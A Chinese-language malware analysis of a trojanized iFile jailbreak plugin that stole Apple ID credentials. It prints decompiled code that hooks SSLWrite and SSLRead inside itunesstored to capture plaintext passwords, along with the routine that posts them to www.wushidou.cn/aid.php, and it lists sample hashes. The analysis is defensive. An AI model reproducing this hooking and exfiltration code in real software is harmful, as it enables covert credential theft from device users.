越狱插件盗取22万个苹果账号样本分析

盗号事件

最近乌云爆出某些越狱插件盗取22万个苹果账号的事件,如果曾经安装过不明源里的插件,建议用户立刻修改密码。

样本分析

下文将分析获取的一个盗号插件样本,该盗号木马将自己捆绑到知名的iFile越狱插件中以达到安装执行的目的。解开deb可以看到跟原版的iFile相比多了一个基于Substrate框架的插件:

$ ls iFile_2.2.0-2-2/data/Library/MobileSubstrate/DynamicLibraries/
iFile.dylib iFile.plist

查看iFile.plist发现iFile.dylib模块被注入了itunesstored这个关键服务:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Filter</key>
    <dict>
        <key>Executables</key>
        <array>
            <string>MobileSafari</string>
            <string>assertiond</string>
            <string>SpringBoard</string>
            <string>itunesstored</string>
        </array>
    </dict>
</dict>
</plist>

使用IDA分析iFile.dylib,hookaid方法调用MSHookFunction函数hook了”/System/Library/Frameworks/Security.framework/Security”框架的SSLWrite和SSLRead函数。

int __fastcall hookaid(int a1)
{
  ...
  NSLog(CFSTR("\n\n\n\n\n\n\n\n====================aid==========\n\n\n\n\n\n\n"));
  g_aid_from = v6;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
    &v18,
    "/System/Library/Frameworks/Security.framework/Security",
    54);
  v21 = &__gxx_personality_sj0;
  v22 = &GCC_except_table7_0;
  v23 = &savedregs;
  v25 = &v13;
  v24 = ((unsigned int)&stru_DC.sectname[8] | 1) + 40728;
  v20 = 1;
  _Unwind_SjLj_Register(&v19);
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v17, "SSLWrite", 8);
  v20 = 2;
  v14 = getAdress(&v18, &v17);
  v20 = 3;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v17);
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v18);
  if ( v14 )
  {
    v20 = -1;
    MSHookFunction(v14, (int)aid_r_SSLWrite, (int)&aid_o_SSLWrite, v7);
  }
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
    &v16,
    "/System/Library/Frameworks/Security.framework/Security",
    54);
  v20 = 6;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v15, "SSLRead", 7);
  v20 = 7;
  v14 = getAdress(&v16, &v15);
  v20 = 8;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v15);
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v16);
  if ( v14 )
  {
    v20 = -1;
    MSHookFunction(v14, (int)aid_r_SSLRead, (int)&aid_o_SSLRead, v8);
  }
  ...
}

当用户输入AppleID和密码登陆账号时,itunesstored服务会通过SSL连接向苹果服务器验证。因此在SSLWrite函数中可以拦截到明文的ID和密码,而在SSLRead中可以通过服务器返回的数据判断登陆是否成功,一旦登陆成功就将记录的ID和密码回传到服务器。

通过调试手段可以确认在SSLWrite中能获取ID和明文密码:

ifiledebug

可以在输出中看到我们测试输入的账号信息:

  • appleId=test@pangu.io
  • password=123456789

实际解析ID和密码并记录是在 aid_r_SSLWrite -> parsexml 函数中,而实际回传盗取的数据是在 aid_r_SSLRead -> sendAid 函数中:

void *sendAid(void)
{
  ...
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v45, &g_aid_name);
    v51 = 2;
    meEncry(&v46, &v45);
    v51 = 3;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v45);
    v51 = 4;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v33, &v47, "id=");
    v51 = 5;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v34, &v33, &v46);
    v51 = 6;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v35, &v34, "&name=");
    v51 = 7;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v36, &v35, &v46);
    v51 = 8;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v37, &v36, "&pass=");
    v51 = 9;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v31, &g_aid_pass);
    v51 = 10;
    meEncry(&v32, &v31);
    v51 = 11;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v38, &v37, &v32);
    v51 = 12;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v39, &v38, "&guid=");
    v51 = 13;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v40, &v39, &g_aid_guid);
    v51 = 14;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v41, &v40, "&from=");
    v51 = 15;
    getYinwen(&v30, g_aid_from);
    v51 = 16;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v42, &v41, &v30);
    v51 = 17;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v43, &v42, "&xp_ci=");
    v51 = 18;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v44, &v43, &g_aid_xp_ci);
    v51 = 19;
    ...
    v51 = 35;
    NSLog(CFSTR("g_from:%@ url:%s"));
    v28 = 0;
    v27 = 0;
    v29 = 0;
    v51 = 36;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v23,
      &v27,
      "POST /aid.php HTTP/1.1\r\n");
    v51 = 37;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v24,
      &v23,
      "Host: www.wushidou.cn\r\n");
    v51 = 38;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v25,
      &v24,
      "Content-Type: application/x-www-form-urlencoded\r\n");
    v51 = 39;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v26,
      &v25,
      "Content-Length: (length)\r\n\r\n");
    v51 = 40;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::operator=(&v27, &v26);
    v51 = 41;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v26);
    v51 = 42;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v25);
    v51 = 43;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v24);
    v51 = 44;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v23);
    v51 = 45;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v22, "(length)", 8);
    if ( v47 & 1 )
      v9 = v48;
    else
      v9 = (unsigned int)(unsigned __int8)v47 >> 1;
    v51 = 46;
    replaceRegexInt(&v27, &v22, v9);
    v51 = 47;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v22);
    if ( v47 & 1 )
    {
      v10 = v48;
      v11 = v49;
    }
    else
    {
      v10 = (unsigned int)(unsigned __int8)v47 >> 1;
      v11 = (unsigned int)&v47 | 1;
    }
    v51 = 48;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::append(&v27, v11, v10);
    v21 = 0;
    v51 = 49;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
      &v20,
      "www.wushidou.cn",
      15);
    v51 = 50;
    v17 = (void *)Http::init(&v21, &v20);
  ...
}

值得注意的是回传过程中会有一个”from”标记,应该是用于记录这个盗号数据的来源。而在我们拿到的这个样本中 g_aid_from=”bamu”,应该是代表刀八木源中的插件。

后话

本次盗号事件再次让大家关心起越狱的安全问题。越狱为了让用户能完全控制自己的手机,势必打破了苹果原有的安全体系,从而降低了黑客开发盗号木马等的成本(对于非越狱的设备,通过利用漏洞的手段也是可以实现盗号木马等攻击,只是成本大大提高)。希望越狱用户在使用手机时,尽量在官方源下载原版插件。

文中分析的关键文件SHA1:

  • 623866a78ac17fab043a28e8dc6dc63b93f691a2 iFile_2.2.0-2-2.deb
  • c798d24673adcdfd1b31f1cf090766adbbe1622b iFile.dylib

发表评论

电子邮件地址不会被公开。 必填项已用*标注